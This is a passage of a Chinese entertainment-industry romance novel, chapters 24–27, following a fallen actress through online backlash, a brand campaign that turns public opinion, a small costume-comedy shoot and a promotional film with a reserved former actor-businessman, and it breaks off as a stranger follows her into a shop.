但是很快，她发现不对。传说中扎实的剧本，从来没有递到过她的手中，他们跟她说，这部戏非常重要，剧本还在做最后的打磨。她等啊等，等到了阵容官宣，等到了铺天盖地的宣传，以及毫无诚意的团队。
她质问经纪人，她却对她说，明星不过是资本的傀儡，记住手不要伸太长。做好自己能做的，其他用不着她操心。她的合约，可是掌握在公司手中。
可以预见地，顶级流量+几十亿投资+全明星阵容+强势宣发，大众对这部戏，抱着多大的预期。而江遥却早有觉悟，这样粗制滥造的作品，绝对经不起市场的检验，她只能拼尽全力，演绎好自己的戏份。
最后，被骗进电影院的观众骂骂咧咧走出影院大门，投资商对她横眉冷对，扛不起票房的虚假流量不值得他们再多看一眼。当然，也是有人愿意看她的。当一个投资人搂着她的肩膀，笑着摸上她大腿的时候，她直接端起了桌上的酒杯。此后，跟着江遥的标签，除了票房毒药、扑街、演技差，还多了一条——耍大牌。
宴池的粉丝早就不满猖狂的CP粉，趁机开始胡乱混战，爱炒作、勾搭男人的标签也被牢牢贴在了她身上，这么多年都没有撕下。
那个夏天过后，江遥从云端跌落。
24. 老熟人
现在网络上，又在将她的过往重新复盘。
那部大IP被人逐帧截图做成表情包，很多年纪小的网友不敢置信，就这样的演技也能出道甚至爆红，背后是不是有着不为人知的幕后交易。
也有人对着她和投资商亲昵交谈的照片，感叹漂亮的女人果然多了不少捷径，怪不得能和刘聪臭味相投一拍即合。还是同一拨人，当她对满脑肥肠的投资人横眉冷对时，怨怪她架子端太高。
这几年宴池的流量不减反增，吸了不少新粉。曾经唯粉打不过CP粉的情况早已远去，但对江遥的恨意却仿佛成了粉丝群体的某种遗传基因，新粉考古，总躲不过这段过去。他们不明白，这样差劲的女人，为什么宴池还总喜欢维护。
所以这段时间，他们披着各种马甲来往于各大评论区，兢兢业业给大家科普江遥是怎样炒CP的老手。
大家一致得出结论：江遥罪有应得。
怪不得这些年的作品都毫无水花，品牌纷纷到期不续，偶尔出席个时尚活动也只能和一些糊咖挤在一起，好不容易攀上个大IP导演还成了法制咖，这一切怎么不算她的报应呢。
杨越始终留意着网上的风向，以防老板问起措手不及，但上头一直没有什么动静，仿佛完全不知道江遥解约的新闻，出于谨慎，他还是主动和他提了提。
那些谩骂的言论，看似毫无重量，堆在一起却能完全压垮一个人。
“只要是江小姐相关的新闻，现在评论区基本都是一边倒，直接撤热搜封号网友反弹可能会比较严重，效果太过不可控。我建议先多铺点红稿带带风向。”他简单说了下现在网络上的情况，观察着老板的神色，又试探着说了说自己的想法。
程绪从办公椅上起身，站在落地窗前，始终没有出声。杨越看不到他的表情，只能猜测着继续说道：“江小姐现在没有签约新公司，媒体更加不会顾忌，还好她现在沉在剧组拍戏，能一定程度上隔绝网上的消息，等下一个角色出来再加以适度引导，舆论就会反转。”
楼下车水马龙人来人往，站在高处，却能最大限度地隔绝一切嘈杂声。他何尝不知道，有些事情即使他有能力做，但却未必是她想要的。他只想让她安安静静拍自己想拍的戏，但是他不能把她放在真空玻璃罩里。她还需要这个世界给出的反馈。
当年那个青涩的小姑娘，眉眼弯弯，无限向往地跟他说着自己的梦想，她说以后要拍很多很棒的角色时，眼里仿佛发着光。他想呵护那样单纯的期待，为她保驾护航，又想放任她按照自己的意志在风浪中蜕变成长。
他在落地窗前默立良久，仿佛把自己站成了一个雕塑。杨越以为今天不会再有回应，正想告辞离开。前方的人终于转过了身，告诉他：“先不用管。”
杨越疑心自己难道做了无用功？但看他的表情，好像又不是无动于衷。
网络上关于江遥的八卦很是热闹了几天，《精品荟》趁着这股热度，推出了前阵子拍的杂志。只是江遥原定的封面变成了内页，而封面人物也是老熟人——方琦。
这样快速的响应，不太可能是临时做的决定。小鱼后知后觉，原来拍杂志那天的种种，并不是故意为难，而是早就做好了打算。江遥倒也不觉得有什么可惜，就自己现在这风雨飘摇的模样，又能被谁坚定选择呢？资本的游乐场，一直是利益为先。
在这样的混乱里，她白天呆在组里拍戏，晚上偶尔收工早，会看看自己喜欢的东西充充电。这天晚上，她接到了一个陌生号码的来电。其实最开始是误点，本想马上挂断，听筒里却已经有人说话。还是一个老熟人——苏远安。
他仿佛也没预料到能打通，声音里还带着一丝不可置信：“遥遥？”
江遥沉默着没有说话，怕她挂断，他迅速切入正题说明了自己的来意：“你最近怎么样？下一步有什么打算？我这里有个角色挺适合你的，你要不要试试看？”他一口气连问了几个问题，听筒里仍然毫无动静，他静了静，最后补充：“咱们毕竟同学一场。”
江遥听到这里倒真的有点想笑，看看，这就是苏远安，永远给自己留有退路的苏远安。
人家正儿八经地关心，她自然不会真的这会儿笑出声，只是礼貌地回复：“谢谢，我很好，有需要帮忙的一定跟你说。”
她彬彬有礼，仿佛真的还有再聊的契机。苏远安主动挂了电话。
有时候他真的会痛恨自己，明明时间已经过去了那么久，为什么还是那么了解她的脾气。明明是自己主动说结束，却总想着当时她是不是也松了一口气？
“要不我们分手吧。”他不知道自己当时是抱着怎样的心情说出这句话，是想放手，还是想挽留。
电话那头沉默了会儿，却只问：“你想好了？”
他不记得自己当时有没有应声，只记得她留给他的最后几个字是：“我知道了。”
之后他们没有再联系。
但时间越久他越发现，自己是不是中了她的诡计。为什么明明是他主动松开的手，却也是他拼命想挽留些什么。
电话刚刚挂断，没一会儿又开始响。江遥揭开面膜噌地一下从床上坐起，心想几年没见，苏远安怎么这么不懂事了。结果拿起手机一看，原来是乔女士来电。
她马上切换表情，甜心小棉袄紧急上岗：“哈喽，找你的小宝贝干嘛呢？”
乔红英很是嫌弃：“少发癫。我琢磨着你好久没给家里打电话了，来问候问候你，最近工作很忙吗？”
自从报考影视学院开始，乔红英就知道，女儿未来的道路注定不会那么平坦。她自己倒是也争气，大学演了部戏就火得一塌糊涂，那会儿亲戚朋友谁不夸她生了个好女儿。但是从那以后，她将自己的全副精力，都献给了演员江遥，很少再跟她玩闹撒娇。后来……风雨如期而至，大众口中的江遥，对她而言是个全然陌生的存在。还好她从不是温室长大的花朵，生命力足够顽强。但是作为母亲，她也有着自己的私心。
江遥随意答道：“还好啊，天天泡剧组拍戏呢。”
网络上风风雨雨，怕父母担心，圈子里的糟心事她基本不会跟家里倾吐，但她知道，父母也有正常的社交，何况现在网络那么发达。但母亲没有点破，她也只像往常一样安慰她：“你们顾好自己的身体，就是对我最大的支持了。其他事情我
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都自己可以处理。”
乔红英拿她没办法，只好恨恨道：“以为谁稀罕管你。不说了，我睡觉去了，你也早点睡。”
江遥点点头，催促道：“去吧去吧，我也准备睡了。”
乔红英挂断电话，对着老江就是一通骂：“你女儿不知道像了谁，以前芝麻大点事一天能跟我说八百遍，现在真摊上事了倒成了锯嘴的葫芦。”
老江搂着她的肩膀，好脾气地安慰：“这不是怕咱们操心嘛，反正我们也帮不上忙。相信她吧，她自己能处理好。”
乔红英叹了口气，到底没再说什么。
齐淮是那种精益求精的导演，比起迎合市场，更在乎是否达到自己的指标，所以江遥原本不多的戏份也磨了好一阵。杀青的时候，齐淮倒有点舍不得放她走：“后面有机会我们再合作个更好的。”
江遥点点头，脸上还粘着没擦干净的血浆，笑得非常舒展：“行啊导演，那我可记住了。”
车子启动，她随手挑了几张在剧组拍的照片上传微博，记录下这段生活：“下个剧组见咯～”
下个剧组在哪儿？她也不知道，不过已经马不停蹄开始找。
每天发出八百份简历，基本都是石沉大海。
倒是有个导演主动给她发了私信，说是看了她之前在那大IP里的演技，觉得她非常具有可塑性，问她有没有兴趣试试。
她之前那部戏的表情包最近很火，她自己试了试，还蛮好用的。这位导演估计也是被这么吸引来的。江遥心说，你要骂我就直说，跟一个出道快十年的演员来说可塑性，是不是有点侮辱人了。就差指着我的鼻子骂，你的进步空间还有那么那么大。
再一打听，这位导演竟然和是她校友，但之前只拍过广告片和宣传片之类。至于演员班底？没有，正在一个个私信勾搭呢。
江遥无奈，江遥摊手，这样勾搭来的，大概率不是新人就是心大又没有戏拍，死马当活马医的。但她现在行情不好，压根没人找，倒也没一口推脱，只要了剧本，跟导演说先看过后再答复。
对方很爽快地发来了人物小传和整个剧本，她仔细翻了几遍，是一部架空古装剧，拍起来应该很欢乐，作为过渡剧接下来也未尝不可。
导演听她口风觉得十有八九是有戏，直接约了她第二天见面详聊，江遥被他的热情吓到，颇有种被绑上贼船进退两难的尴尬。
到了约定的地点，一个身材清瘦，戴着眼镜，看起来斯斯文文的男人坐在那儿，手上的杂志快要将他的脸遮住，江遥狐疑地打量了他两下，他头越钻越低，看起来和线上的开朗一点都不一样，最后心一横，弱弱地举手：“是我。”
虽然是导演直接找上门，但她并没有觉得自己多抢手，出门前其实已经做好了来回推拉的准备，没想到一开始就出乎预料。在这样社恐的导演面前，她只好努力控场，好歹没让场子冷掉。
寒暄过后互相交换了下合作意向，谈起剧本，这个沉默寡言的男人却开始唾沫横飞，倒是让江遥的心定了一定。导演对自己的作品有信念感，是很重要的一环。
江遥爽快签下合同，只等班底拉齐就进组。
25. 舆论反转
H&F能够短短几年做到现在的成就，和它独到的审美不无关系。随着热度越来越高，不少艺人使尽浑身解数，想和它谈下商务合作。但Freya一直维持着自己的品牌调性，没有向市场低头。大家说起H&F，都会说“那个特高冷的品牌”。
这一年注定写进H&F的历史进程。这个高冷的品牌，官宣了它的代言人。
跟着代言人官宣新闻一起发布的，还有一组时装大片。
湿热的原始丛林，黑发红裙的少女，提着裙摆向镜头奔来，铺天盖地的绿意沦为她的背景；黄沙漫漫的沙漠里，驼色风衣几乎与背景融为一体，回望的眼里却写满倔强和生机；历史悠久的建筑回廊，女人身着黑色丝绒长裙徘徊叩问，仿佛黑色玫瑰穿过时空悄然绽放。
不同的服装和场景演绎，却都有着超强的时尚表现力。
「哇，这竟然是江遥！这凭什么是江遥？！」
看清模特的脸，很多人心底都有着同样的感慨。
但是无所谓了，完美呈现的广告大片，向大家无声宣告，江遥配得起这样的激赏。
当然也有人酸溜溜觉得，这都是摄影师的功劳，有这化腐朽为神奇的能力，还不是谁上都一样。
不过这次，有不一样的声音开始为江遥说话。
「这我可就看不惯了，你们说她演技差就专注说演技得了，她的脸能算腐朽，那在座各位算什么？」
「对对对，只说这组照片，她就是完成得很棒啊！有些人怎么什么都能找茬？」
「脸在江山在，沙漠这组太飒了！我决定当一秒姐姐的舔狗！」
「这姐的脸真的长在了我审美点上，演技什么时候能提高一下就好了。求求了，想入坑。」
品牌保密工作做得非常好，小鱼也是在官方发布后才第一次看到成品，原来当初那意大利老头吹的彩虹屁倒也真的没有夸张，因为她现在也想嗷嗷叫。虽然平常看到的江遥已经够漂亮了，但怎么说呢，在这个摄影师的镜头下，她本有的特质又被无形中放大了一层。
随手搜了下他的履历，小鱼惊得差点从沙发上掉下去，他的合作嘉宾，竟然不是好莱坞大咖就是国际上影帝影后级别的人，有几张广为流传的神图，竟然也都是出自他之手。看来这次他们真是抱上金大腿了。
还有位不愿意透露姓名的网友留言说，Matteo虽然此前从来没有拍摄过国内的艺人，但几年前曾经主动向程绪方递出过橄榄枝，不过应该是被拒绝了，因为他们一直没有合作的消息，有传言说Matteo私下放出过豪言，如果以后程绪求上门，他倒是可以考虑下为他掌镜。
小鱼眼神迷茫：“下次看到Freya我一定得问问，Matteo是不是有什么把柄在她手上。”
江遥提醒她：“当初是谁一天骂他三遍不做人的？”
小鱼嗷呜一声，没了声响。谁叫这老头当初不怎么按常理出牌，看起来只想混日子赚份工钱呢？不过现在回头再看，艺术家的怪癖嘛，可以理解。
跟着品牌方的宣传节奏，江遥登上自己账号，转发了官博的内容：“很高兴成为H&F品牌代言人，期待与H&F一起见证更多精彩旅程！”
刚出道那会儿，她在公司要求下注册了一个加V账号，除了正常的作品宣传，偶尔也会跟粉丝分享日常，有时候听他们花式夸夸，她甚至会想自己何德何能配得上他们这么喜欢。
后来作品扑了个大的，她又不想再听公司摆布，这几年压根没什么有效营业。事业粉逐渐失望，颜粉只有古早物料舔屏，她的评论区渐渐安静了下来，偶尔发条博，一天过去也就几百个评论。
这次顺手转发完正想下线，评论提醒数字不断上升，点开一看，前排竟然有好几条夸她的评论。她狐疑地看着小鱼：“你给我买水军了？”
虽然品牌数据很重要，但打造这种虚假繁荣，很快就会露馅的。而且H&F提出和她合作前，应该早已经了解过她的现状，现在粉饰太平是不是有点儿晚了。
小鱼直接打开包包，找出了一面随身化妆镜怼到了她脸上：“你有点自知之明好不好，他们都是冲着它来的！而且咱们哪有那个钱啊！”
她刚刚还收到Freya的消息，Matteo让她转告江遥，等不及和她完成更多更棒的作品了！她可以预见，到时候江遥估计又要圈一波颜粉。
杨越看着网络上的风向，微微松了一口气，没想到江小姐靠几张照片就圈了一波路人好感，风向变好，自家老板不知道能不能回点温。昨天还有高层悄悄找他打听，是不是公司最近要有什么重大变动，怎么程总好像不怎么高兴。
尽管程绪总顶着一张看起来没什么笑容的脸，但大家时刻察言观色，倒也摸到了点门道，自觉缩着脖子不敢说话，生怕哪天触了那位的霉头。
「阵容集结完毕，给你三天时间，咱们宛城见。」社恐导演卢亮发来消息。
江遥空出半天简单收拾了两个行李箱，把家里稍微打扫了一下，又踏上了飞往宛城的飞机。
到酒店的时候，有个女孩看到她，主动跑上前来帮她提行李。看她打扮，应该也是艺人，但是江遥脑子里完全没有这号人，不知道又是导演在哪个旮旯挖出来的宝贝。
女孩主动介绍：“江老师您好，我叫徐婉宁，饰演女二号师婉婉，以后请多多指教。”
江遥伸手和她握了握，并婉拒了她的帮忙：“我自己可以，你去忙自己的事儿就好。”
没想到这姑娘倒真不是客气，拖了她的行李箱就跑在了前头，她和小鱼只好飞快跟上。
徐婉宁帮她把行李提上楼，江遥刷开房间，她指了指对面的房间：“我就住在您斜对门，有需要叫我就行。”
第二天，男主也进了组，跟他们不住同一层楼。晚上剧本围读的时候几个主演正式会面，彼此一合计，女主江遥竟然是包含导演在内，咖位最大的。
徐婉宁今年刚毕业，正在到处投简历，电影、电视剧、
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广告片等等，各个渠道都没有放过。卢亮有朋友和她合作过一次宣传片，听说他在找人，觉得她各方面都符合，就帮忙牵了个线。本来她听说这是一个毫无经验的导演还有点犹豫，但知道女主是江遥，就很爽快地同意了。后来刘灵玲私下和她说，她的闺蜜是她的忠实粉丝，喜欢她很多年了。
男主魏林长着一张典型的青春偶像剧中的男主脸，阳光清爽，见人就叫，非常有礼貌。听说年初拍了部网剧，暂时还没播，和江遥一样，准备先进个组当过渡。
虽然班底是七拼八凑临时拉起来的，工作人员也没太多大项目经验，正式开拍前，导演还正儿八经搞了个剧本围读。
这是一部以女主为主视角展开的古装轻喜剧，山大王女主在男主结婚当天抢亲，将男主和她的新婚表妹一起掳上了山头，从此开始了鸡飞狗跳的生活。女主大字不识状况百出，男主满嘴之乎者也整天劝女主弃恶从善，表妹在相处中了解到女主的身不由己。当男主出卖女主换取荣华富贵时，表妹站了出来，最后才发现，女主从一开始就知道男主的真面目，抢亲也只为帮助表妹脱离虎口。男主得到惩罚，女主和表妹一起带领寨子越做越大。
徐婉宁看了眼自己的剧本，又瞥了眼坐在一旁的男主，悄悄问导演：“所以男主纯纯就是女主和表妹之间的工具人？”
导演摸了摸鼻子，心虚地转开眼：“这不是为了躲过……法眼么？”他声音越说越低，最后几个字更是差点吞进了自己的喉咙里，徐婉宁没有听清。
导演低头沉默了会儿，终于做好了思想建设，猛然抬起头来，义正言辞地告诉她：“如果女主一上来抢了表妹就走，这不是乱套了嘛。男主这么有存在感的角色，怎么能叫工具人呢！徐婉宁女士，你的思想很危险。”
徐婉宁不明白自己思想哪就危险了，但导演既然这么说，那就姑且就这么认为吧。
宛城临海，三面环山，是和A城完全不一样的风光，孙二的寨子就建在其中一座山头。江遥看着家大业大的寨子，没想到自己有一天能当起山大王。小鱼跟着她一起来踩点，看完后有种与有荣焉的自豪：“剧组大半经费估计都用来给你建豪宅了。”
徐婉宁像穿花蝴蝶一般，里里外外看了遍自己即将落脚的地方，却颇是满意，热情地挽着江遥的手臂：“孙老大，以后我可就跟着你混了。”
徐婉宁非常热情，小鱼在她面前可能都得甘拜下风。第一天刚见面就主动帮忙拎行李，晚餐时间又捧着盒饭摸来了江遥的房间，临走的时候一脸欲言又止：“江老师，以后我能直接叫你姐么？”
江遥一向不喜欢老师来老师去，但大家都这么叫，自己不跟上又显得很异类，爽快点头：“不用那么客气，叫我江遥就行。”
徐婉宁马上接口：“那怎么好意思呢，遥遥，明天见啦。”
她连蹦带跳地跑走了，小鱼看着缓缓关上的门一脸狐疑，转头跟江遥确认：“你说有没有一种可能，她嘴里的闺蜜就是她自己？”
26. 古早CP
虽然剧组经费有限，但江遥在这儿待着还挺开心的。脱离了城市的繁华，每天只用担心寨子里的物资够不够兄弟们花销，偶尔下山“打家劫舍”，或者尾随迷路的小孩故意吓得人哇哇叫，发誓以后再也不敢乱走了。当然，偶尔也会来段“此路是我开此树是我栽”的开场白，抢个人之类的。
江遥穿着一身黑斗篷，一马当先威风凛凛从山上杀出来的时候，男主魏林被她的气势所摄，呆了呆才低头拱手，张口接了下一句台词：“小子娶亲路过贵宝地，无意惊扰，还请姑娘高抬贵手。”
孙二懒得听他文绉绉说废话，大手一挥：“爷看上了就是爷的人，来人，把他带走！”
“很好！”卢亮声音洪亮，大声喊“卡”，说完又弱弱地低下头，伸出一根手指：“各位老师，辛苦再保一条。”
徐婉宁本来都想飞奔去找江遥说话，闻言紧急撤回了迈出花轿的脚，无语地看着导演：“导演，你要说话算话啊，上次说最后一条最后一条，结果拍了快十条！”
卢亮头一垂，拒绝跟她争辩。
剧组唯一的大牌还是江遥这个已经过气的，大家欢欢乐乐聚在一起，完全没有什么心理负担。社恐导演，成了谁都能调侃两句的对象，他也只是好脾气地笑笑，仿佛一切都好说。但是镜头一开，他的气场也跟着打开，镜头一关，又开始心疼燃烧的经费。
有时收工后，大家围在一起捧着盒饭闲谈，导演会蹲在一边扒拉着计算器，抱头大喊“下次一定”，众人哈哈大笑：“导演你放弃吧，下次你还敢。”
江遥看着徐婉宁和导演又杠上了，无奈地揉了揉额头。这一对活宝。
男主魏林脾气也好的没边，演技完全够用，为人却很谦虚。见到江遥必叫一声“江老师”，说了几次也纠正不了，江遥也就懒得管了。
可能是彼此都混熟了，大家说话前也少了许多反复思量小心翼翼，这天他们一群人围在一起玩牌，嘴里八卦也没有停，江遥偶尔插上几句。有人说起程绪，“他和孟棠真的不是一对儿啊？我之前还狠狠嗑过一阵呢。”说完大家一致看着江遥，意思很明显，“你人脉最广你先说”。
江遥想起来程绪之前的微信，就当日行一善，告诉她：“别信谣。”
小女生嗷呜一声：“原来我嗑的CP真的BE了，不知道以后他会和怎样的女生在一起。”
这样冷淡的男人，和孟棠算是性格互补，所以虽然没有什么实质性的糖点，也能让一票人光凭脑补就嗑得死去活来。不过他可能是喜欢跟他一样沉静的人吧？江遥在内心搜罗，圈子里到底有谁的气质，能跟他完美契合。还没想出个所以然，又听这位女生小小声提起另外一个新闻，也许自己也知道不够合适，却还是忍不住好奇心问出了口，最后加一句“不方便回答的话可以当我没说”。
屋子里的人都纷纷看向江遥。你和宴池是怎样的关系？已经有很久没有人向她问起这个问题。
以前她还在巅峰的时候，很多人理所当然地以为，他们是一对。至少，曾经是一对。后来江遥颓势明显，而宴池一路扶摇直上，两人的差距越来越大，不用他俩有任何实质性的动作，大家也可以自动得出结论，两人肯定是BE了，江遥不再配得上他了，自然也没有人会不识趣地在他们面前提起对方。
江遥笑了笑，顶着众人期待的目光，坦然回答：“朋友关系。”
就这样？糊弄谁呢？
众所周知，他们的CP曾经轰动一时。是后来，随着江遥跌下神坛，一切开始变得不一样。两人不再携手出席活动，有江遥在的地方，宴池的粉丝会习惯性踩一脚，就像踢走一个粘人的垃圾。宴池也曾公开发声，让粉丝保持理智，却迎来了更强烈的反扑。那时候，江遥的评论区，都被他的粉丝占据。两人BE得轰轰烈烈，有粉丝自我调侃，这何尝不是一场风光大葬？此后，他们再无交集。
大家长长“哦”了一声，没再穷根究底，但眼里却难免藏着失望。江遥却也没再解释，为了驱走这片刻的尴尬，场子里已经丝滑地开启了下一个话题。
江遥在剧组整整待了一个月，最近卢亮正在集中拍摄男主和表妹前期的戏份，她难得有了几天的假期。回去也没有别的活动，还得来回折腾，江遥和小鱼合计了下，打算就在周边城市玩几天。小鱼开始兴致勃勃做攻略。
不同于宛城的幽静，隔壁桐城是个繁华的大都市，有着丰富的夜生活，凌晨酒吧一条街也还有人高歌。小鱼对着手机搜了半天，最后很是失望：“那里好像没什么玩的，像大学城这种人多的地方我们也不能去，吃的倒是不少，不过你不是得维持体重嘛，我一个人也吃不动，而且最多一天半就能逛完了。”
江遥不想扫兴，鼓励她：“去吧去吧，那家老字号的糕点你不是想了很久了吗，咱们这次正好去试试。好玩我们就多逛逛，实在不行就早点回来休息呗。”
卢亮知道了他们的计划，心念一动，给江遥推荐了个活，正好在桐城。“导演是我朋友，他手上有个宣传片在拍，正好缺个模特。你去试试，如果合适的话可以晚几天归队，我把后面的剧情提前拍了。”
锦上添花易雪中送炭难，江遥爽快应承下了卢亮的好意，当晚就和宣传片导演进行了视频面试，约好第二天再去公司详细沟通。
导演办公室位于市区一栋独立院子里，红墙黑瓦，墙壁上爬满了绿色藤蔓，爬山虎的触角甚至已经伸上了窗台。江遥昨晚已经和导演约好了时间，等她到的时候，院子里空无一人，伸手推开门，只见长桌上四处摊着文件，有个女孩窝在椅子边打盹。
反复确认了几遍地址，江遥确信自己没有走错。她默了会儿，实在不想打扰她的美梦，女孩却幽幽转醒，知道她和导演有约，略带歉意地告知
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她：“不好意思江小姐，王导现在有客人，还请您稍等。”
说完赶紧把长条椅上摆放的东西收了起来，给江遥腾出个落脚的地方。江遥顺势坐下来，女孩给她端上一杯茶，把茶一放，就蹲在那儿和她闲聊了起来。得知江遥是来面试出镜模特，她眼前一亮，悄悄给她吃了一颗定心丸：“你确实长在导演的审美点上。”
“咱们这个项目是和桐城政府合作，现在要拍的片子是应澄科技投资的度假山庄，也是政府重点打造的文旅项目的一环，本来他们项目经理是今天下午过来碰面，所以导演打算上午把模特给定下，没想到上午他们就提前过来了。”
应澄科技是近几年冒出来的公司，江遥虽不关注财经板块，但也略有耳闻。近些年市场行情不算好，它却能一路上扬，从业内冉冉升起的一颗新星，发展到现在已牢牢站稳脚跟。
女孩的话很密，说到这里又看了看紧紧关闭的会议室大门，忍不住跟江遥悄悄透露：“他们内部应该有推荐的男模特人选，现在正跟导演开会，你要是能被选中的话那就有福啦。”
江遥还没很好地消化她表情里的含义，办公室大门打开，一个熟悉的人影率先从门里走了出来。王导跟在后面一叠声保证：“杨总请放心，我拍的片子绝对对得起自己的良心。”
江遥看到眼前西装革履的杨越，觉得这个场面莫名有点眼熟，之前《双生花开》投资人见面，杨越也是被刘聪这么恭维。她缓缓眨了眨眼，站在一旁没有出声，所以这又是程绪工作室投资的？
她脑海里刚刚冒出这个名字，杨越后面，一身黑色西装的程绪就跟了出来。导演还在亲切和他寒暄：“程老师，如果能有您出镜，我保证片子质量会更上一层。”
程绪没有看他，只说：“您也知道我很久没拍戏，怕砸了您的场子。”
“这您可就客气了。”王导声音一下子拔高，满脸严肃，仿佛程绪刚出口的话亵渎了什么，“您看不上我们这小项目也可以理解，不过我还是希望您能再考虑一下。”
程绪没有多做解释，抬手解开了两颗扣子，手还放在领口，眼角捕捉到什么，冰冷的眼神向一旁射了过去，将江遥钉在了原地。
她面色尴尬地抬手招了招：“嗨，程老师，又见面了。”
王导没想到他们熟络，见状笑呵呵上前，攀着江遥的肩膀，给程绪补充介绍：“正好给大家介绍一下，江老师，我们这次宣传片的女模特。”
江遥原本是过来玩，带的衣服都以休闲舒适为主，吊带上衣露出光秃秃的肩膀，白得刺人。
程绪没有接话，杨越脑中警报开始嗡嗡作响，挤进王导和江遥中间，向江遥伸出手：“江小姐您好，一直想找机会和您合作。”
江遥看杨越一脸诚恳，不愧是近朱者赤，演技毫无斧凿痕迹。
她伸手跟他握了握：“合作愉快。”
27. 被尾随
宣传片以一对情侣的度假日常切入，全方位展现度假山庄的项目，展示闹市中的诗意生活。
原定的男主王导本身就觉得不太拿得出手，女主敲定江遥后，更是觉得男主哪哪都不顺眼，站在江遥身边特别违和。好在可能是自己诚意太足，而且应澄科技的杨经理答应帮忙转圜，最终程绪答应接下这个项目。
江遥时间紧迫，一切定下后，大家马不停蹄开往度假山庄开始了拍摄。
宣传片重点是城市宣传和项目推介，化妆师给两人化的是偏日常的妆，为了中和江遥身上的艳丽，选择了相对温柔的盘发，连口红都是裸色调。化妆师收工后，她偏着头在镜子里想看清发型师给她新做的发型，身子扭来扭去还没看清，程绪在一旁伸出手：“我给你拍一张？”
江遥懵懵地打开手机原相机递了过去，他已经起身走到了她背后，对着她的背影来了一张，端详了下效果，把手机伸到她面前，方便让她看清自己的发型。
照片里，女人坐在镜子前，高大的男人站在身后，压迫感十足，江遥煞有介事地就着他手机看了看，说了声“还行”，其实压根都没怎么看清。
“杨越是你的人，那应澄科技也是你的？”江遥问出积压的疑问。
程绪没有否认：“不过对外活动一直都是其他人。”
认真演戏能从群演演到影帝，搞事业也能搞进知名企业家行列，江遥很想接一接他的事业运。而他本人却还是淡淡的，仿佛这并没有什么。
“程老师和江老师再贴近一点，很好，看着镜头微笑。”两人并着肩走在绿草如茵的公园里，画面看起来非常和谐，如果不是两人之间还能再塞下一个人的话，导演应该会非常满意。
但现在他却非常怀疑，这两人是不是有什么不为人知的矛盾，虽然没有剑拔弩张，但明显连同事间的和谐相处都做不到。一开始他提议让他们牵手，这样大家一看就知道这是一对情侣，江遥还没有说话，就被程绪抢着否决“太假了”。
换成肩靠着肩走吧，拍了左边就拍不了右边，另一个都快被挤出里画面。他开始后悔，为什么要给自己请来一尊大佛，骂也骂不得。
看导演神色，估计已经在心里无数次叹息。江遥本来计划集中两天拍摄完，后面再跟小鱼出去逛逛，如果进度一直拖下去，势必会耽误她接下来的安排。她主动向程绪的方向移动步子，小声跟他提出自己的想法：“不介意的话，我挽着你吧。”
程绪并不反对，抬起胳膊，江遥顺势挽上了他的手，对着镜头，笑得一脸甜蜜。
“对了对了，就这样，继续保持。”导演差点老泪纵横。
模特气氛一对，两人又是专业演员，王导可能是被他们前面冷淡的氛围吓到，干脆一鼓作气，把后面需要模特出镜的画面都拍了。收工的时候，江遥微笑着和他摆手告别，程绪表情却还是冷冷的，甚至好像比之前更冷了？
导演非常热情地送走这尊大佛：“这脸好看是好看，但看多了折寿啊。”回公司的时候，甚至还在默念“无福消受，无福消受”。
“那您明天继续安心拍摄，李总那儿我去拜访。”杨越打了一把方向盘，跟程绪汇报明天的安排。
后排的人一直安静着，他从后视镜看了眼，脸上表情倒看不出什么，应该问题不大。红灯转绿，车子继续前行，程绪终于出声：“李总那，明天我亲自去见。”
杨越心中疑惑，却只问：“您明天没其他安排了？”明明昨天还跟他说接下来两天他自己安排的。
“嗯。”
高效完成任务，江遥正想告诉小鱼明天可以一起出去。路上却接到小鱼的电话，她有个同学刚好在桐城出差，两人相约玩两天，今天就不回去了，让她明天收工后给她打电话来接。
小鱼本就是个闹腾的性子，陪她在剧组窝了这么久早就有点闷得慌，江遥这两天干脆没让她跟着。听她已经有了安排，就没有再多说什么，挂了电话打算明天自己出去走走。
桐城气候温和，江遥一身波西米亚风吊带长裙，宽大的帽檐遮住了大半边脸，怕被晒黑影响上镜，出门前随便捞了件防晒衣穿上。
她全副武装，一个人去逛了博物馆，馆内人潮拥挤，大家争抢着挤占前排，并没有人发现她混在人群里。正想继续往前，馆内广播已经开始催促，即将闭馆。江遥捶了捶酸疼的腿，看了看天色，准备找个地方吃饭。
手上的手机突兀地响起，许久没见的来电人。点开接听，那边一个带着笑意的声音传来：“你现在在宛城？明天能不能赏脸吃个饭？”
江遥倒是好奇这大忙人怎么有空想起她来：“已经不在了谢谢，你怎么跑宛城了？”
那边声音很吵闹，宴池不知道和周边人说了什么，换了个安静的地方才继续说：“我现在在桐城录节目，明天结束后你有空可以一起吃顿饭。”
要不要这么巧，江遥实话实说：“你有心的话请我吃晚饭吧，我现在在桐城博物馆附近，饿得前胸贴后背了。”
“有没有这么夸张，你不会是特意中午不吃饭等着晚上来讹我的吧。”宴池哈哈大笑，地图导航显示离江遥十五分钟，还挺近。
江遥脚疼得不行，看时间才堪堪过去五分钟，干脆找个地方坐着等。刚往前走几步，迎面走来个男人，凑近了她不知道说了句什么。也许是看多了社会新闻，江遥警惕心顿起，没有搭理。男人见她没回话，又咕哝了一声，她实在听不懂，只好压着嗓子摆手说道：“不好意思，我不知道你在说什么。”
她猜测，或许对方是在问路，但她也是第一次来这，确实解答不了他的疑问。说完她往前快走了几步，想走出这个路口。
男人也许是跟她同路，不远不近缀在身后，她能清晰地听到两道脚步声一前一后，拐过一个分岔路口，脚步声还一直响着。身上的鸡皮疙瘩一粒粒冒了出来，她死死握着手机，不敢回头。
一瞬的功夫，擦黑的天色已经完全暗了下来，幸好，前方不远处有灯亮着。江遥内心一松，快走几步，走进了便利店门口，长出了一口气。
但事实马上告诉她，不能高兴得太早。欢迎光
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临的提示音再次响起，她回头望去，只见刚才问话的男人，也抬脚走进了门。难道是认出我来了？还是惯犯？她内心先后闪过几个念头。
此时站在灯光下，又有第三人在场，她给自己打了打气，先发制人，厉声质问：“你跟着我做什么！”男人仿佛察觉不到她的愤怒，往前走了几步，呵呵笑着想来拉她的手，吓得她连连后退。
收银台后的店主意识到不对，从柜台中走了出来，扫了眼江遥从头到脚的武装，问道：“怎么了？”
江遥还没来得及开口，男人指着她大声说：“她是我女朋友！”
江遥完全没有见过这种状况，察觉到店主狐疑的眼神，生怕她把自己推给陌生人，大声反驳：“我不是，我不认识他。”
男人继续往前走，一步步离她更近了，伸手一抓，扯住了她外套一角，江遥干脆抬手脱了外套，躲到了店主身旁。
手上的手机突然响了起来，她赶忙接起，是宴池。
“你在哪儿呢？”宴池看了看附近，并没有看到人。
